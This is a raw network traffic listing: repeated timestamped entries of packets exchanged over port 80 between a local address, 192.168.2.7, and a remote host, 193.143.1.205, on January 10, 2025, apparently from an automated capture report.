Jan 10, 2025 22:35:40.916012049 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916038036 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916105986 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916172981 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916184902 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916207075 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916264057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916295052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916323900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916335106 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916347027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916364908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916366100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916393995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916575909 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916588068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916599989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916629076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.916690111 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.916722059 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.917174101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917186975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917200089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917222977 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.917248011 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917258978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917270899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.917284966 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.917318106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.930325985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.930342913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.930362940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.930375099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.930404902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.930432081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.971151114 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.971201897 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.971215963 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.971252918 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.971256971 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.971263885 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.971297026 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.974881887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.974895000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.974910975 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.974934101 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.974946022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.974956989 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.974997044 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.975048065 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.975056887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.975076914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.975086927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.975097895 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.975126982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.990786076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.990814924 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.990825891 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.990861893 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:40.990947008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.990957022 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:40.990978956 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.005860090 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005912066 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.005913973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005924940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005948067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005949974 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.005961895 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005975008 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.005995035 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006045103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006078005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006206036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006263018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006273985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006299973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006365061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006400108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006438971 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006449938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006494045 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006534100 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006547928 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006597042 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006809950 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006822109 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006833076 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006853104 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006943941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006954908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006967068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.006977081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.006982088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007004976 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007087946 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007100105 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007123947 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007364988 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007399082 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007401943 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007414103 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007447958 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007574081 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007586002 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007596970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007611990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007615089 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007639885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007724047 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007738113 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007777929 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007859945 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007870913 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007880926 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007894039 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.007903099 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.007931948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.008333921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.008380890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.008393049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.008420944 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.021008015 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.021056890 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.021991014 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.022041082 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.022053003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.022084951 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.061757088 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.061793089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.061805010 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.061820984 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.061825037 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.061861992 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.065418959 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065464973 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065478086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065486908 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.065529108 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.065534115 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065563917 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065597057 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.065642118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065653086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.065694094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.065736055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081357956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081382990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081393003 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081408978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.081430912 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.081444025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081456900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081470966 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081496000 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.081566095 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.081605911 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096365929 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096389055 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096441031 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096451998 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096477032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096487999 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096510887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096560001 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096570969 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096592903 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096741915 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096775055 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096788883 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096837044 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096873999 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.096901894 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096913099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.096946001 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097110033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097122908 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097135067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097158909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097217083 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097228050 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097239017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097249985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097269058 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097304106 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097353935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097363949 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097409010 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097639084 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097670078 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097687960 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097698927 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097728968 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.097803116 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097815990 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.097860098 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098005056 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098037958 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098048925 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098069906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098186016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098196030 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098206043 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098222017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098229885 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098248005 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098365068 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098376036 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098387957 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098403931 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098432064 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098716974 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098762989 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098773956 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098795891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098898888 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098910093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098921061 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098928928 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.098934889 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.098954916 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.099064112 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.099073887 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.099086046 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.099097967 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.099121094 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.107289076 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.111550093 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.111558914 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.111605883 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.112685919 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.112695932 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.112706900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.112749100 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.151264906 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.152302980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152313948 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152326107 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152355909 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.152374029 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.152400970 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152411938 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152424097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.152441978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.156059027 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156099081 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.156122923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156133890 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156146049 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156169891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.156198978 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156210899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156234980 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.156244040 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156275034 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.156343937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156404018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156414032 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.156440973 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.161906004 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.172327995 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.176136017 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176178932 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.176187992 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176198006 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176228046 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.176239967 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176250935 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176278114 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.176487923 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176546097 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176556110 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176568985 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.176574945 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.176599979 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.199937105 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.205842018 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.205883980 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.205894947 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.205925941 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.205940962 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.205981016 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.205985069 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.205992937 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206011057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206022978 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206124067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206135035 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206167936 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206175089 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206204891 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206252098 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206289053 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206299067 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206317902 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206481934 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206492901 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206505060 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206525087 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206527948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206538916 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206576109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206576109 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206639051 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206688881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206701994 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206724882 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206757069 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206789017 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206871033 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206882000 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206893921 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206906080 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.206913948 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.206938982 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207026005 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207039118 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207079887 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207205057 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207258940 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207271099 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207292080 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207461119 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207472086 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207484007 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207496881 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207499981 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207525969 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207535028 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207571030 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207614899 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207626104 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207638025 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207658052 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207817078 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207854986 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207861900 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207875013 CET	80	49699	193.143.1.205	192.168.2.7
Jan 10, 2025 22:35:41.207907915 CET	49699	80	192.168.2.7	193.143.1.205
Jan 10, 2025 22:35:41.207973003 CET	80	49699	193.143.1.205	192.168.2.7
